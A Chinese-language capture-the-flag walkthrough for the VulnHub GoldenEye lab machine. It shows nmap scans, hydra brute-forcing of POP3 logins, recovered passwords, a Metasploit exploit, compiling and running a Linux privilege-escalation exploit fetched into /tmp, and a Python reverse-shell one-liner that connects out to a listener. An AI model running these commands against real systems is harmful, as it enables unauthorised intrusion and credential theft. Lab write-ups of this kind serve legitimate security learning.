vulnhub-goldeneye通关教程
这里我们的环境是kali2026 ip:192.168.135.131 靶机ip:192.168.135.135
靶机IP是不知道的我们要通过扫描kali的网段才能知道靶机IP
扫描网段内存活ip我们扫到靶机是192.168.135.135
Nmap -sP 192.1681.35.0/24
-sP: Ping 扫描,只做主机存活发现,不扫描任何端口

扫描靶机开放的端口
Nmap -p- 192.168.135.135
-p-:扫描靶机开放的全部端口

可以看到开放了25,80,55006,5007接下来扫更多信息
Nmap -sV -sS -A -T5 -p- 192.168.135.131
-sV :版本探测
-sS :syn半连接
-A :全开放扫描
-T5 :速度,急速

接下来我们访问靶机的网址看到说有一个目录/sev-home可以访问

我们登录这个目录发现有登录窗口,应该尝试着获取账号和密码

这三我们回去192.168.135.135网址看看有没有什么信息泄露出来

我们发现了js文件,里面一般都会泄露出一些信息

我们能获得这里有两个用户,boris,Natalya这里有一段编码,我们用burp破解出来

这里估计是一段密码,InvincibleHack3r,我们一个一个枚举就可以登录sev-home
boris,Natalya拿这两个当账号,一个个试密码

发现是POP3,而我们用nmap时发现55006和55007都开放了POP3
我们将账号放到文档修改权限让他可以执行
Echo -e ‘natalya\nboris’ > yang.txt
Chmod 777 yang.txt

我们用九头蛇进行爆破,账号就是我们导入的yang.txt,密码用自带的
hydra -L yang.txt -P /usr/share/wordlists/fasttrack.txt 192.168.135.135 -s 55007 pop3
-L:加载用户名字典,每行一个用户名
-P:加载密码字典
-s:指定非标准端口


我们得到两个用户名和密码我们用nc来连接5507分别连接他们
Nc 192.168.135.135 55007

这里登录的是boris的账户,密码是爆破出来的secret1!
List 可以看到里面有什么
Retr查看里面的内容



这里是natalya的账户,密码是bird,一样的流程看看有什么是有用的


在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,我们在本地服务hosts中添加域名信息:
为什么呢,我的理解是域名经过dns解析成ip我们才能访问到网址,但是靶场并不走dns,就解析不了ip,我们也无法访问啦,这下我们将域名写死在kali上,让kali能直接访问到域名(这个也是我看别人的解释才浅浅理解的)
用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
我们现根据邮件提示添加本地域名:severnaya-station.com
Gedit /etc/hosts

这玩意叫图形化文本编辑器,用gedit调出
这下我们就可以直接访问这个域名,用上面发现的账号密码,发现有个用户名doak

我们将doak用户名导入文档,接着爆破doak的密码
Echo doak > yang.txt
Hydra -L yang.txt -P /user/share/wordlists/fasttrack.txt 192.168.135.135 -s 55007 pop3

得到了doak,goat,这个就是doak的pop3登录凭证

得到密码后我们继续nc doak的pop3
Nc 192.168.135.135 55007

读取得到信息邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。用户名:dr_doak,密码:4England!

登录后发现有个文件

下载到kali上并看到有个路径图片的信息我们下载到kali

我们尝试下载到桌面用逆向工具解读图片
Strings for-007.jpg
扫描二进制文件,读取字符串,这里还有更多的kali内置工具可以扫描二进制文件

第三行是敏感信息,我们用burp来破解它

我们的到了管理员的密码xWinter1995x! 我们用管理员登录网址admin账号

这里信息太多,我们直接看有没有exp能用

有个29324的能用我们先有msf获得meterpreter会话


我们得到的是非正常shell,我们可以将它变成正常的交互shell,并查看内核版本
Python -c ‘import pty;pty.spawn(“/bin/bash”)’
Uname -a

知道版本后我们可以看看有没有exp,能让我们提权的

我们看看kali里面有没有自带这个exp,有的话就很方便了,并看它在kali的路径
Searchsploit 37292

将他复制到我们的kali机器上,我感觉桌面是最方便的
Cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面
Chmod 777 37292.c

这里我也不是很清楚为什么要改成CC编译,我看了别人的教程说是那个版本Linux只能cc编译,无法gcc编译


我们在这个kali的桌面运行服务,让我的的到的shell可以下载我们在kali上的exp
Python3 -m http.server 8000

这里我们进入tmp目录,/tmp 是 Linux 全局临时目录,所有用户都有读写权限,允许上传、编译、执行 exp,用完自动清理。然后下载kali上的exp
Cd /tmp
Wget http://192.168.135.131:8000/37292.c

接下来我们将exp进行cc编译
Cc -o yang 37292.c


执行这个exp,即可提权root,我们就能查看里面的falg了
Chmod +x yang
./yang
getuid

查看里面的文件就能发现flag
Ls -al
Cat /root/.flag.txt

这里还有一个方法可以让我们获取到shell,而不用msf,那就是使用反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.28",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

保存并执行shell,用nc监听6666,就能获得一个非交互shell

到这里获得了shell,那就是剩下提权了,提权的步骤都是一样的,我在后面会浅浅总结一下我在这里学到的提权方法流程






看到这我相信你也发现了,提权步骤和第一个方法是一样的
我们得到非交互shell可以用pty得到正常的shell
之后进入tmp目录,那里可以读写执行,上传编译exp
将kali上的exp下载下来后我们进行cc编译,加上执行权限,执行就能得到root
浙公网安备 33010602011771号